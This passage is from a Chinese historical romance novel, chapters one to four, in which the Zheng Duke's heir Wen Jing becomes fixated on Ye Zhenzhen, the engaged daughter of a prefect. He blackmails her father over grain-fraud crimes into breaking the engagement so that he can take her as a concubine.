《闻珠识玉美人泪》
1. 斓锦绣球
“闻世子,这边请!”
叶孝义堆起笑脸,小心翼翼地弓着背在前方替闻景引路。
绕过影壁,一行人很快就走进了垂花门。
直到叶孝义带闻景等一行人穿过花园旁的小路,正要走向通往落白院的小径时,众人耳旁传来一阵由远及近的银铃声。
闻景头也不转,只抬手猛然在面前一抓,一只大红斓锦系着指头般大铃铛的绣球赫然落入他手中。
“这——!”
叶孝义一脸疑惑得看着闻景手里的绣球,好似在哪里见过。
只是还未等到他回忆起,一阵急促的脚步声就从旁边的月洞门方向传来。
“小姐,慢点!那边好像有人!”
“别吵!哪有这么巧那边就有人在?”
“……小姐!”
叶珍珍追着飞过院头的绣球,一路小跑,跨过月洞门,额头上早渗出亮晶晶的薄汗。听着丫鬟雪青的一声惊呼,根本停不住脚下的步伐,直直朝一堵人墙上撞去。
“哎呀!”叶珍珍捂着头,惊呼一声,“好疼!”
雪青跟在后面,见自家小姐为追绣球直直朝人撞去,当场吓得几乎要昏厥过去。
“小姐!”
“珍珍!”
叶孝义与丫鬟同时开口喊道,一脸焦急望向叶珍珍撞上的人墙。
闻景一只手仍抓着方才扑面直来的绣球,另一只手则是抓着,那慌慌张张撞进自己怀中的女子。
叶珍珍额头撞在一堵坚硬的肉墙上,疼得眼泪瞬间在眼眶里直打转,捂着脑袋直哼哼。
衣领还被人一手提着,更是难受挣扎了起来。
“放开我!你——你这样抓着我,我好难受!”
“哦。好吧。”
闻景看着女子撞红的额头和皱起的眉眼,瞬间松开了她的衣领。
叶珍珍揉了揉额头,后面追上来的雪青,顺势扶着叶珍珍的身子。
“喂!你这人是铁做的吗?”
叶珍珍捂着脑袋抱怨道,“撞得我好疼!”
叶孝义见自己闺女竟还敢恶人先告状,顿时急得直跺脚。
“还不快给闻世子道歉!明明就是你言行无状,惊吓到世子不说,还撞到世子身上!”叶孝义擦了擦头上的冷汗,急急忙忙道,“珍珍,快给世子赔礼道歉!”
叶孝义嘴上还未说完,又连连朝闻景拱手弯腰道:“世子大人大量,还望世子高抬贵手,饶过小女这一次,下官给您跪下了!”
“哎——,”闻韶一手扶起叶孝义的双手,“叶大人,叶小姐不过是无心之失,你又何必如此疾言厉色?”
“叶小姐,这可是你的绣球?”
闻景说着,举着手里的斓锦绣球递在身前秋波层层,粉唇微喘的高挑女子。
“还给我!”
叶珍珍看着自己眼前的绣球,忍不住踮起脚,伸手拿去,却被闻景一手举得更高。
“我捡到了叶小姐的绣球,小姐连声谢谢也没有吗?”
叶珍珍闻言,只得忍着羞愤,朝一脸无辜的闻景低声道:“是小女言行无状,惊扰世子!小女在此给世子行礼道歉,还请世子将绣球归还于我。”
说着,叶珍珍便收回手,朝闻韶的方向,屈膝福了福身。
闻韶见她低头认错的模样,喉咙里发出一声低低的轻笑。
“叶小姐客气了!”
闻韶又举着手里的绣球,递到叶珍珍面前,道,“呐,还给叶小姐!不过嘛——”
“不过,不知小姐为何如此紧张这个绣球?本世子见这绣球虽做工精细,但也不至于说是举世难得的物件,小姐竟这般在意?”
“珍珍!快谢谢世子爷高抬贵手,以后不许再胡闹了!”
叶孝义听闻闻景口中的话,不由上火训斥道,“你这丫头,一天折腾个不停!”
随后,又堆起一张笑脸,朝闻韶解释道:“这绣球,是前不久小女的未婚夫家,送来给小女的生辰岁贺礼,故小女才会如此紧张这个绣球。还望世子海涵,不要与她计较!”
闻景闻言后倒是怔愣一下,随即抬手将绣球抛到叶珍珍身后那个丫鬟怀里,转头朝叶孝义道。
“叶大人,带路吧!”
“哎!”
叶孝义见闻景真的不再计较,擦了擦已经流到下颌的汗,仍毕恭毕敬得在闻韶前面引路。
“此次承蒙世子不弃,愿意来寒舍短住数日。在下特意为世子准备了个安静清幽的院子,供世子下榻安歇。”
一行人继续顺着小径朝落白院走去。
叶珍珍看着自己谄媚老爹和那行人渐渐远去的背影,不禁暗自松了一口气。
只是一想到方才那人浑身睥睨群雄的气势和阴郁冷漠的神色,就让她有些忍不住瑟缩。
众人直至站在落白院门口,叶孝义拱手道,“世子,就是这里了!”
闻景听闻抬头一看,“落白院”三个字便落入眼帘。
此时正值春日,院子里一片盎然生机。院角的假山嶙峋,流水潺潺,更显得这落白院清幽无比。
闻景背着双手站在屋内,看着眼前窗外的春景,心里却默默盘算着朝廷的诏书,何时到临州。
“主子!刚刚收到消息,朝廷此次派来了六皇子来临州犒劳大军,半个月后就会抵达。”
“这么快?”
闻景说着话,却并未回头,只看着院墙上攀爬的紫藤上。
几只粉蝶正在花叙上面起起落落。
“我还以为只至少要两个月呢!临州这边的战事才歇,北戎还未与我大齐立下盟约,怎么就这么快来封赏大军?”
“属下愚钝,还请世子指点一二。”
闻景慢慢转身看着侍立在一旁的玉泉,勾唇讥笑道,“看来我领兵打战的这段时间里,咱们的太子殿下和六皇子在朝里,也没有消停过!”
他见玉泉仍垂着头,唇边的笑意越发肆意。
“玉泉,你说这位临州刺史到底想做什么?热情无比得邀着我来他府上小住,我连拒绝的话都不好开口?”
“我没记错的话,他的恩师可是当今的太子太傅李岩那个老家伙!而郑国公府,却是六皇子沈俞风的母族。”
玉泉见他家主子一口一个六皇子,不禁腹诽道,你们不是表兄弟吗?
怎么说得他们很不熟一样?
“回主子,属下也摸不清这位叶大人的想法。只是,主子既然答应了叶大人这段时间在这里落脚,何不静观其变,看看那个老狐狸的尾巴何时露出来?”
“不过……我猜应该是曹强之事,叶孝义怕自己受到牵连,所以才穷尽办法来讨好我,只可惜,方法不对!”闻景说完,又继续朝一脸敬佩的玉泉笑道,“好啊!玉泉,你现下是越发有长进了!都会说静观其变了,果然,我让你多读些书,还是有用的!”
玉泉被闻景这话臊得满脸通红
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,几乎就要将下颌垂到胸口上了。
闻景扫了一眼脸色涨如猪肝般的属下,又想起方才那位叶家小姐的神色,也是这般。
只是,两者之间,他更喜欢那双秋水盈盈的双目,当真是美极了!
“去查查那位叶小姐的未婚夫到底是那户人家,我倒要看看,她有多喜欢那个绣球!还有,”闻景思及自己的便宜表弟,沈俞风很快就要到临州,继续道,“让京中的人,好好盯着两边的动静,别等到皇帝颁下传位的旨意,才睁开眼睛!”
这是嫌京里的探子办事不力?
可是,又让他打听人家小姐的未婚夫做什么?玉泉满心虽不解,但他如何敢开口问,只抱了抱拳退出屋子,很快就放了传信的鸽子。
闻景一人静静坐在书案,虽手里捧着书,但心思却早已飘远。
现下北戎人已经不足为惧,他只待接过封赏的圣旨后,就可班师回朝。
只是不知这次,他的皇帝舅舅,要赏他什么官职。
罢了,他已经是正三品的都指挥,身上还有郑国公的世子之位,想来若是再额外加封,就要惹得有些人狗急跳墙了。
还有半个月,就要重返朝堂。
闻景扔下手里乏味的书,闭着眼捏了捏鼻梁,轻轻叹了一口气。
玉棠院里,飘然而至的东风吹落了几瓣如雪的梨花。廊下的鹦鹉已经吃饱喝足,任丫头们逗弄,也不肯再开口,只悠闲得啄着水,给自己梳理羽翼。
叶珍珍顶着仍有些红的额头,站在廊檐下看小丫头替鹦鹉换完水,便朝门口走去。
“小姐,奴婢给您找些药敷一敷吧,”雪青扶着叶珍珍,跨过正房的门槛,不由担忧起来,“后日要去温府做客,要是温公子见了您头上的痕迹,定然会担心的!”
“我没事,不用这么麻烦了!”
叶珍珍此时脑海里全是那人冷漠寒霜的神情,根本顾不上额间还未消退的红痕。她没想到,自己方才撞上的人,竟然就是这次率军大破北戎的郑国公世子,闻景。
“雪青,给行松哥哥的信,送过去了吗?”
“回小姐,送信的人已经回府了,还带了温公子的回信!”
“是吗?信在哪里?快给我!”
雪青扶着叶珍珍在椅子上坐下,很快就将带回的信双手递与她,便让青莲去看晚膳送来了没有,自己则去拿了药酒。
叶珍珍眼眸扫过信上的内容,努力压着唇边的笑意,仔细得将信折好,放入妆台上的锦盒里。
雪青拿着药酒走进内室时,便见主子已经收拾好了信笺,不禁打趣道,“小姐如此珍视温公子的信,想来温公子知道了,还不知会高兴成什么样呢?”
“不是说不用药酒了吗?”
叶珍珍最讨厌酒味,只捂着鼻子,嗡声嗡气道,“算了,还是用药酒揉揉吧。免得明日乌青了,被娘亲和哥哥看见,又是一顿训!”
“小姐忍忍!奴婢会很轻的。”
雪青朝手心里倒了些暗黄的药酒,在手里捂热后,才慢慢朝叶珍珍额间揉去。
“对了,雪青,”叶珍珍想起前几日新作了几条裙裳,开口吩咐道,“去温府做客那日,我要穿那条藕荷色绣丁香的绵裙,你让人拿出来,好好熨一熨。”
“遵命,奴婢待会就让人将那条裙子寻出来,只等那日一早,小姐穿着它去见温公子,保证小姐这么一收拾打扮啊,我们未来的姑爷,就再也挪不开眼了!”
2. 婚事
叶珍珍被雪青的打趣,羞得一张白皙晶莹的小脸瞬间爆红起来。
她恼羞成怒道:“好哇!你个坏雪青,竟也来打趣我了!看我不挠的你眼泪直流!”
说着就要并拢指尖,朝雪青腰间挠去。
雪青弯腰笑着退后几步,连连求饶道,“小姐,奴婢错了!奴婢再也不敢了!求小姐饶过奴婢这一次吧!”
“哼!”
叶珍珍见她抓着药酒瓶,已经躲得老远,不禁哼了哼,“这次算你跑得快!若再敢有下次,定挠不饶!”
“奴婢就知道小姐最好了!奴婢要一辈子跟着小姐,小姐去哪里,奴婢也就去哪里!”
“那好啊,等我出嫁了,我也替你在温府里寻个模样俊俏的小郎君,看你以后怎么笑话我!”
雪青闻言,又羞又急,跺脚道:“奴婢去看晚膳了,不和您闹了!”
话一落音,便转身离开了内室。
叶珍珍看着她落荒而逃的背影,眉眼间全是笑意。
连着落了几日的霏雨,好在初九这日一早,这雨就止住了脚。
叶珍珍坐在妆台前,看着朝阳透过窗棂,在随风晃动的珠帘上,折射出刺眼的光辉。而那珠帘则不断发出清脆的声响。
今日是应温府的邀约,去他们府上做客。也是年前两家定下她与温行松婚事后,第一次登门。
“娘亲!”
午后,叶珍珍穿着一身精心打扮的裙裳,乌发间簪戴着一副珍珠头面,很快就到了海晖院。
她挽起叶夫人的手,撒娇道:“女儿来迟了,让娘亲久等了!”
“你这泼猴,难得见你今日如此郑重得装扮自己,还是消停些,别弄花了妆,待会又要嚷嚷着不肯见人!我看幸好行松那孩子性情温和,不然以后你们成亲后,不知会如何闹腾呢?”
“娘亲,我、我才没有闹腾呢!”
“你呀,”叶夫人宠溺着在叶珍珍鼻间一点,轻笑道,“走吧,时辰不早了,马车也在门外候着了!”
叶珍珍扶着自家娘亲,乖巧的点点头。
待二人带着丫头婆子们到了垂花门时,叶孝义也带着儿子叶劲从外院的方向过来。
“出发!”
叶孝义与叶劲各自骑着一匹马在前面领路,而叶夫人则带着叶珍珍坐在后面的马车里,马车后面则跟着随行家丁下人。
温家极满意幼子温行松的这门婚事,早早就派了人守在府门口,只待叶家的人一来,便往里面传信。
待温夫人亲自迎着叶夫人和叶珍珍进了后院时,叶家父子也被迎至前院。
叶珍珍随母亲一起见过温家的长辈后,便被温大公子的妻子林氏,借口赏花,带到了花园。
“珍妹妹可算来了!要是再不来,有人就要去门口等你们了!”
林氏亲热得挽着叶珍珍的手,一面拿手绢捂着嘴打趣道。
叶珍珍听闻,瞬间红了脖子,低头道,“哪有?”
“好了,珍妹妹,你在这里歇歇脚,我去让人准备些茶水来。”
林氏站在花园里的凉亭里,见叶珍珍点头应下,才转头向站在亭外的婆子们道,“几位小姐在哪里?叶小姐已经来了,怎么还不见她们身影?”
在花园里伺候的婆子见林氏问起小姐们,当即屈膝回道:“小姐们已经来了,只是……只是方才大少爷和二少爷带着位贵人来了,小姐们避嫌,便去了西北角的海棠林等叶小姐。”
“贵客?哪里来的贵客?”林氏皱眉道。
今日是叶温两家自定亲后,第一次上门做客,哪里还有比叶家更要紧的客人?
也不知夫君和小叔,怎么会带其他客人来花园里?
叶珍珍听闻温府还来了能让两位温公子亲自相迎的贵客,当即笑道:“既然温姐姐她们都在海棠林等我,不如我过去了,再歇息也不迟。”
林氏见她主动开口,便也只得点头道,“让妹妹受委屈了!那我带妹妹过去吧。”
“那就多谢少夫人了!”
林氏见叶珍珍如此客气,拍了拍叶珍珍的手背,逗弄道,“哎呀,都是一家人了!叫我嫂嫂吧!”
叶珍珍听闻她的打趣,更羞了,只红着脸不肯开口。
林氏见她如此害羞,也不好再多说,便携着她的手,带着婆子朝西北方走去。
温府花园一扫冬日的残败,映着午后的艳阳,当真是花红柳绿,春意盈盈。
闻景站在园中的小楼上,远远就见两位丽人带着下人朝这边的小楼下的小径走来。
只是,其中一位梳着未婚发式的女子,一袭碧衣紫裙,眼熟的紧。
“在下临州别驾温绍,携二子见过闻世子!”
温绍抱拳朝闻景道,“久闻闻世子乃当世将才,前不久才大破北戎,今日世子能来敝府做客,当真是蓬毕生辉啊!”
“温别驾不必多礼,”闻景转身朝身后的三人摆了摆手,沉声和缓道,“是在下今日来得突然,未提前命人送贴子来,还请温大人不要见怪!”
“哪里哪里,世子能来敝府,是我们温府的荣幸!”
“温大人,我知你还有事在身,不如就让两位公子陪在下吧?”
“这……”温绍面露犹豫道,“不瞒世子说,今日府上确实有客人要招待,而且这客人世子也知,就是叶孝义叶大人。”
“不如,我去请叶大人和他家公子一并过来,陪世子坐坐?”
这位爷不知今日怎么了,连招呼都不曾打一声就带着人上门来了。只是他身份极高,不是他这种官职的人敢怠慢的。
“我如今就住在叶府,日日都能见到他们,既然今日是来贵府做客,就不劳烦他们二位了!温大人可自行去待客,这里有府上的两位公子作陪即可!”
温绍不明白这位主到底想干什么,见他话语里的意思,难不成只是想来逛逛自家的花园不成?
犹豫片刻后,温绍只得拱手朝站在围栏处,负手而立的闻景道,“那在下就恭敬不如从命了。”
随即又转头向两个儿子吩咐道,要好好陪着闻世子,才转身下了小楼。
两位温公子也是一头雾水,陪侍在闻景身边。
闻景见那两人行至楼下的七曲桥,与温绍碰见,当即好奇道,“这二位是贵府的女眷吗?”
温行竹见温绍看到了楼下的两人,不由上前解释道,“回世子,一位是贱内,她身旁的是叶府的小姐,是行松的未婚妻。”
“原来二公子定亲了?”
闻景一脸失望道,“方才我入府初见二公子时,便觉二公子气度谦和,相貌堂堂,原本还想着看有没有能配得上二公子的
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贵女,牵个红线呢。没想到,二公子这么早就定下婚事了!”
“多谢世子美意,只是家里年前冬月里已经替我定下婚事,还望世子见谅!”
温行松有些不好意思致谢道。
闻景听闻他的话,也不再多言,只转回了身,眺望着那人纤细的背影,直到完全消失在那片烟霞色林间时,才收回目光。
只是脸上的神情越发肃然。
很快,就到了一年一度春日里最热闹的上元节这日。
天色将沉,叶府里的下人早在各处挂上了灯笼。
叶珍珍仔细梳妆打扮好后,便带着两个丫头去了垂花门。只见叶劲已经在门口等候。
“哥哥!”
“你这丫头,怎么这么晚才来?”叶劲打量着站在眼前的叶珍珍,看着她头上流光溢彩的翡翠头面,打趣道,“是不是不想去了?若是你不想去,我就让人给温行松送信,让他自己去逛灯会吧。”
“没有!”
叶珍珍着急道,只是看见他脸上的笑意,便知自己又被逗弄了,气得双颊飞红。
叶劲见她羞得双眼含波,娇目嗔怒的模样,也不好再说什么,只扶着人上了马车,自去骑马带路。
上元节是自龙抬头后最热闹的日子。
这日依照大齐风俗,无论男女老少,皆可结伴而行,去街上赏灯游玩。
温府那边早早派了人送信来,说温家的大少夫人林氏和几位温府小姐,约叶珍珍去浮萍楼观灯赏景。
酉时末,温府的女眷们在温氏两兄弟的护送下,早早到了浮萍楼三楼的厢房里。
待叶劲带着叶珍珍上楼时,整个临州城的街道上,已经挂满了各色花灯。
众人见面寒暄后,温家的大少爷温行竹见众人看腻了楼上的风景,又撇见自己弟弟温行松坐在一旁抓耳挠腮的模样,笑着道,“今日是上元佳节,这楼上的风景看久了也无趣,不如让我们去街上走走吧?”
“行松,让家丁婆子们跟在后面,别让人冲撞了!”
“大哥放心吧!”
温行松见心心念念已久的那人眼眸瞬间亮起,便知她也愿意上街游玩,当即起身朝着门口走去,吩咐起一干下人来。
“温姐姐,你看这个走马灯,做得可巧?”
叶珍珍站在一处花灯摊子前,侧目去看身边的温三小姐温行兰,却只望见了温行松站在她身侧,正一脸和煦得笑着。
“她们都随大哥和叶公子去那边的杂耍摊子看热闹去了,让我留下来陪珍妹妹逛逛!”
“是、是吗?”
叶珍珍见他笑意吟吟,便知那几人是故意借口走开的。
虽然她和温行松是青梅竹马,年前也定下了婚事。但她却越发害羞起来。
“珍妹妹喜欢这盏走马灯吗?”温行松温言道,随即上前取下那走马灯,递与叶珍珍,“送给你!”
他身后的小厮,飞快得取出钱袋结了帐。
叶珍珍见他手上的走马灯正慢慢借着热气不停地旋转着,在他蜜色光洁的手背上,投下四季花卉的暗黄影子,不由颤着眼睫道:“珍珍谢过行松哥哥。”
“不用谢!”温行松看着眼前心心念念的女子,根本挪不开眼。
叶珍珍将灯交给一旁的雪青,二人便并着肩,缓缓朝前走去。
3. 出手
闻景负手立在临州最大的酒楼上,一边听着玉泉向他禀报京里最近的动静,视线却落在街上一处灯花铺子跟前站着的一对璧人身上。
他只能模糊得看见她垂下螓首,接过了身侧男子递过来的灯。
玉泉躬身禀报完了,却久久不闻声音,便大着胆子抬眼看着背对他而站的闻景。
“主子要下去走走吗?”
玉泉见他望着游人如织,灯火如带的街道,连先前不停在栏杆上敲击的手指,也止住了动作。
闻景见那两人并肩离开,衣袖相交的亲密,脸上浮现出自己都未察觉的阴郁。
“玉泉,我是不是该娶妻了?”
玉泉闻言瞪大了双眼,自家主子不知拒绝过多少次夫人安排的花宴,怎么还未回京,就提起这事?
不过想想也该到了娶世子夫人的时候了。只是不知向来严峻肃恭的主子,会喜欢什么样的姑娘。
“主子今年也二十有三了,换作其他勋贵子弟早就当爹了!北戎这场仗足足打了两年,已经是耽误了主子成家,不如待回京以后,主子好好相看相看,也早日了却郡主的心愿!”
“啰嗦!”
闻景看着两人渐渐远去的背影,一手搭在凭栏上,身上的披风被夜风吹得猎猎作响。
叶珍珍见面具摊子挂着许多青面獠牙的面具,当即就牵着温行松的衣袖朝那边走去。
“我戴这个好不好看?”
叶珍珍取下一只青面獠牙的面具覆在面上,故意朝温行松扑去。
温行松看着眼前古灵精怪的心上人,一把扶住她的两只胳膊,在叶珍珍耳畔低语道:“很好看!”
叶珍珍心头甜蜜,却取下面具,嘟囔着道:“……那你也戴一只。”
说完也转身取了一只不同颜色的面具,递到温行松手里。
温行松从善如流得接过,也往脸上一戴。
二人虽看不清彼此的面容,却四目相视,将彼此眼里的笑意,尽收眼底。
“叶小姐!”
叶珍珍忽闻一阵陌生的声音,蓦然朝前望去,却见闻景背着手,身后跟着几名亲卫,站在不远处。
她收起笑意,一手摘下脸上的面具,递与身后的雪青,便见那人一步一步朝这边走来。
“在下带着人在临川的街上随意逛了逛,却不小心迷了路,见叶小姐和温二公子在一起,不免前来打扰,还望两位不要见怪!”
“见过闻世子!”
“在下临州长渡县令温行松,见过闻世子!”温行松摘下面具,朝闻景拱手行礼道,只是起身后朝叶珍珍灿然一笑,“珍珍你也认识闻世子?那倒是有缘!”
“前几日,你们一家来府上做客时,闻世子也来温府花园里赏花了!”
“是吗?”
原来那日温府婆子口中的贵人就是闻景!
叶珍珍虽吃惊了些,但到底也不觉有什么,只是那日她直到离开时,都未见到温行松的人影。
温行松见闻景身后只跟着五六个侍卫,便不由拱手低询道:“世子今日也是来这上元节游玩的吗?可需要下官随行?”
闻景撇了一眼他手里的面具,谦虚道,“温大人客气了,今日这街上的游人也太多了些,我又不熟悉临州的街道,这才迷了路,打扰二位逛街的雅兴了!”
他虚抬了抬手,示意温行松起身。自己则慢慢走向那面具摊子,也取下一只面具,仔细看了看,笑道:“这面具果然有趣,连我也想买一只来玩!”
“玉泉,将三只面具的钱都付了!”
“是!”
玉泉接过闻景扔过来的面具,很快就付了钱。
“听说待会湖边还有府州主持的烟火,不如劳烦二位带在下一起去瞧瞧?”
温行松见他兴致勃勃,恭敬道,“世子客气!既然世子对烟火有兴趣,那在下就陪世子去湖边走走。”
“世子请!”
闻景看着他示意的方向,很快就转身走了。身后的温行松和叶珍珍也跟在他身后,慢慢朝湖边所在的方向走去。
叶珍珍疑惑得朝面前那人高大的身影望去,他带着亲卫出门也会迷路?
这人,简直说谎都不带眨眼的!
而身旁的温行松却激动得很,虽然前几日他们已经认识,只是这位世子爷却冷峻的很,哪有方才的谦和?
这可是才打完北戎的郑国公世子闻景啊!
这位闻景闻世子,年纪轻轻就身袭郑国公府的世子之位,还在此次出征前,被册封为正三品的都指挥佥事。
如今又大破北戎,还不知会被加封至什么高位官职。想来如今宗室的子弟里,再没有比他更有权势的勋贵!
几人行至湖边时,烟火已经开始燃放,而四周则是熙熙攘攘的鼎沸叫声。
“嘭!”
“嘭!嘭!”
叶珍珍站在柳树下,抬头望着碎裂在夜空中的烟花,眼底全是星星点点的光芒。
只是碍于闻景站在一侧,倒不好同温行松说些什么。
“二公子!”一仆从从温行松身后急呼道。
温行松见有人焦急得唤自己,不由朝闻景拱了拱手,才快步朝满头大汗的仆从走去。
温行松:“出了何事?这般失礼!”
那仆从擦了擦额间的汗珠,急急道,“二公子,三小姐身边的家丁护主不力,弄丢了三小姐和贴身侍女,大公子得了信,让奴才来寻二公子,一起找三小姐!”
“怎会走丢?”
温行松顿时头疼起来,“现下还在放烟火,这里的人这么多,怎么才能找到人?”
“大公子已经派人回府调集人手了!只是远水解不了近渴,咱们这里还是要先寻起来才好!”
温行松哪里不明白这个道理?当即便朝闻景所站的方向走去。
“启禀世子,下人来报,说我们府上的女眷被游人冲散了,请恕下官不能陪世子观赏烟花了。劳烦世子替下官照看一下叶小姐,叶家公子很快就会赶过来,替世子带路!”
“哦?竟有这等事?”
闻景关怀道,“温大人自便吧,不用担心叶小姐。我如今就住在叶府,有叶小姐的下人在,看完了烟火,我们就回去。”
“玉泉!安排几个人,帮着温大人一起去寻人!”
玉泉点点头,转身点了五个侍卫,随温行松离去。闻景身后只留下他一人随侍。
叶珍珍虽也担心,但此时已经够乱了,她不能再添乱。只看着温行松朝闻景道谢后,便带着人离开了湖边。
临走时,她看他朝自己安抚般眨了眨眼,心也渐渐安定下来。
“原来叶小姐未来的夫婿就是温大人!果然是郎才女貌,天
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作之合!”
闻景见温行松一行人早就消失在人群里,她却还望着那边。
连夜空中绽放的烟花也顾不得看。
叶珍珍闻言,心情颇好得朝闻景点点头,“多谢世子夸赞!”
“世子身份贵重,权柄在握,想来也是京中贵女们梦寐以求的佳婿!”
闻景听见此话,只觉她嘴角的笑意,比夜空中的烟花还刺眼。
当即冷笑道,“可惜,不是叶小姐的梦中佳婿!”
“你在胡说什么?”
四周人群攘攘,加之不断的烟花爆裂声。身边的下人并未听到二人的闲聊。
但叶珍珍却听清楚了他口中的狂言。
她没想到这人看着冷清疏远,口中的话却荒唐得很。
闻景看着她气极后,眼眸里闪现的水光,心情颇好道:“叶小姐,不如我们打个赌,就赌你和温大人最后不会成亲!”
叶珍珍气得浑身发抖,她瞪着闻景一脸看好戏的模样,颤声道:“不知小女哪里惹怒了世子,竟让世子说这种荒诞无稽之谈?若是世子还在怪罪那日我冲撞世子的事,我可以再给世子道歉!”
“在下没有怪罪叶小姐的意思,不过是觉得叶小姐与温二公子站在一起,有些刺眼罢了!”
烟花早就放尽了,叶珍珍只觉得闻景这话,比方才的烟花炸得还惊心动魄。
闻景见她呆愣的模样,不禁继续道:“若是在下赢了,那叶小姐——”
“就怎么样?”
闻景看她急急忙忙打断自己话的焦急样子,喉间发出一声嗤笑。
“若是在下赢了,叶小姐自然就知道赌输的后果了!”
“我们中秋之前就会完婚!想来以世子的才貌,待世子回京后,世家贵女任世子挑选。那我,就提起恭祝世子与未来的世子夫人举案齐眉,白头偕老,早生贵子。”
“既然叶小姐不相信,那咱们走着瞧!”
闻景面上毫无波动,只转头看着已经散去的人群,谦和道,“时辰不早了,该回府歇着了,还请叶小姐带路。”
叶珍珍见他又恢复了这副人模人样的德行,好像方才那些恶毒的话,全是她脑海里的臆想。
只是他离她越来越近的步伐,在提醒她,他方才当真就是这样说的。
叶珍珍连连退后几步。
“……闻世子,回府的方向在你身后。”
“好吧,”闻景朝她一笑,“那就请叶小姐先行吧。”
叶珍珍故作凶狠得瞪了他一眼,才绕过他,直直朝回府的方向走去。
只是在她绕过眼前男子的身躯时,闻景却岿然不动,只是眼神亮得惊人。叶珍珍走了一小段路,待她回头见身后无人时,闻景才转身跟了上去。
临州少雨。
只是这几日不知为何,沥沥淅淅的小雨就一直没有停过。
轩窗半开,丝丝水汽随着有些沁人的风,只缀湿了廊檐下一片,便停住了脚步。
只是屋子的气氛不似外间的清幽。
叶孝义本是临州的刺史,虽只是正四品下,但也算的上一方大吏。只是此刻的他,正顶着一脑门大汗,神色惶惶得跪在闻景脚边,不停地求饶磕头。
“下官已经知错了!负责押运粮草的曹强已经被下官命人下了大狱,还请世子高抬贵手,饶下官这一次!”
4. 报恩
临州作为大军粮草押送的重要路径,朝廷与北戎大战时,几乎有一半的粮草都是临州的官兵奉命护送。
而就在最后一批粮草抵达军营时,北戎被眼前这位闻世子,带着兵围剿了他们驻扎在胡云河畔的王庭,于是,这批粮草并未启用。
叶孝义想起那日闻景带兵回城时,亲自押送回官库里的粮草,心下更是发虚。
原因无他,只是这批粮草是他的手下,临州通判曹强负责押送的。
“饶你?饶你玩忽职守,差点误了大军战机?”
闻景看着叶孝义浑身发抖的样子,目光轻蔑道:“虽然北戎已经向大齐求和,可是不代表叶大人就可以当做什么事都没有发生过。曹强押送粮草去大营,可他不仅私吞,还联合你这个刺史大人偷换军资,不过是这场仗赢得及时,这批粮草又压在了最下面,没有启用,才没有闹开。”
“叶孝义,你休想侥幸!”
“世子!世子爷!下官真的知错了!下官、下官保证,下官再也不敢肆意妄为!求世子放下官一马!下官愿凭世子驱使!就是当牛做马也使得!”
闻景听到他这话,忽嗤笑一声:“好啊!那你说说看,你能替本世子做什么,能让本世子保你这一次?”
叶孝义闻言,稍稍放下心来,抬手用袖子胡乱擦了擦脸庞上的冷汗。
“这、这……”
“听说府上中秋前有喜事?”
“回世子,不错!”
叶孝义苦思半刻,才悄悄打量着闻景的神色,低声嗫喏道,“中秋前,我们叶家会和温别驾府上缔结儿女亲事。”
他迟疑着抬起头,却望见闻景一脸高深莫测的笑意,只是眼神冰冷很。
这闻世子问起珍珍和行松的婚事,是想干什么?
闻景见他还未明白自己的意思,便转身朝书案后的椅子走去。
他放松着腰背,仰头靠在椅背上。
“还是温府的公子福气好啊!本世子打了两年仗,也还未娶妻。不知叶府可还有合适的小姐,在下可勉为其难……纳个妾室。”
叶孝义闻言顿时呆滞起来,他就一个儿子一个闺女,哪里还有女儿可以给闻景做妾?
只是倏然望见闻景一副毫无玩笑的样子,叶孝义瞬间神色变得僵硬起来。
这、这怎么使得?
闻景见他已经明白自己的意思,指节慢慢在扶手上敲着,并不着急。
叶孝义痛苦得闭上双眼,脑海里全是一张娇俏天真的小脸,正撒着娇,喊自己爹爹的模样。更何况,再过几个月,她就要出嫁!
“闻世子,下官自知罪孽深重,难逃一死!”叶孝义额间的汗终于顺着面庞滚落在地面,形成一个暗点,“只是,珍珍已经与温府的温二公子定下了亲事,如何能—”
“既然你舍不得女儿,那我也不好再多说什么!只是,听闻叶劲这几年在吏部的考核下,风评很是不错,若是不出意外,想来今年岁末,朝廷就会调他回京任职。”
闻景直起腰背,随手在桌案上翻了几下,待翻到一封两日前才到他手上的书信,才抬手丢在叶孝义所跪的方向。
“这是这几年叶大公子在地方上的功绩,我看了,当真是很不错啊!叶大人既然舍不得女儿,那就等着事情到了无法转圜的时候,等着杀头的旨意吧!”
闻景看着叶孝义即将崩溃的模样,从容一笑:“想来那个时候,就是叶大人愿意将人献给在下,在下也不敢收。只能等着你府上的男子流放,女眷入教坊司的时候,再一亲芳泽了!”
他说完,也不看已经跪坐在地上的叶孝义,只转头朝侍立在一旁的玉泉道,“叶刺史今日身体不适,请他出去吧。”
玉泉闻言后朝闻景拱了拱手,几步就行至叶孝义跪坐的面前,拖人出去。
“等一下!”
叶孝义不敢推拒玉泉的手,只能死死趴伏着,将额头抵在冰凉的地上。
“闻世子,若是下官、下官……”叶孝义说到此处,才发现自己根本张不开嘴,只得焦急含糊道,“下官的罪责是否会、会轻一些?”
他哪里敢奢望闻景会替自己掩埋全部的罪行?
那日这位闻世子亲自带人押着这批粮草,原封不动得送回临州官库时,这件事就成了他任职上最大的惊雷。
“我会亲自将此事上奏朝廷,将曹强推出来做你的挡箭牌,届时,就算朝廷追究下来,你也只是受点牵连,不会要你的命,更不会影响到叶劲的升迁。”
“至于与温府的婚事—”
闻景拉长的声音,朝玉泉看了一眼,只见玉泉便又站至一旁待命。
叶孝义哪里还敢如先前般拒绝闻景,立即慌张得接口道,“我亲自去退这门亲事!只要我一日是临州的刺史,温府那边自然不敢怎么样!”
“还是叶大人老谋深算,连温府都玩不过你!”
闻景饶有兴致得打趣着脸如猪肝色一般的叶孝义,满意得点点头,“去吧,我等你的好消息!”
叶孝义挣扎许久,最终还是慢慢弯下腰。
“回世、世子……下官,下官知道了!”
“好啊!叶大人既然知道了,那就尽快吧,毕竟再过两日,六皇子就要到临州犒劳大军了。
窗外的雨仍旧断断续续得下着。
叶孝义佝偻着背脊离开后,闻景靠在椅背上,闭着眼,脑海里却是那两人站在面具摊前言笑晏晏的场景。
他放在扶手上的手背,青筋蓦然暴起。
叶珍珍,要怪就怪你自己那日要撞到我手里,别怪我狠心!
玉泉侍立在一旁,已经听得明明白白,不得不暗自偷偷叹了口气。
他家的郡主夫人还嫌主子与情事上太迟钝,没想到一出手,就要将人家的未婚妻,夺妻做妾!
“……玉泉,给京里传信,将城东梨花巷的那所宅子让人收拾出来。很快,就会有人光临了。”
“属下遵命!”
叶珍珍自那日从上元节回府后,便一直心绪不宁,直到温府派来送聘礼的管事带着人来了,才微微放下心弦来。
听哥哥说,六皇子明日就会在城郊的大营里,犒劳大军。
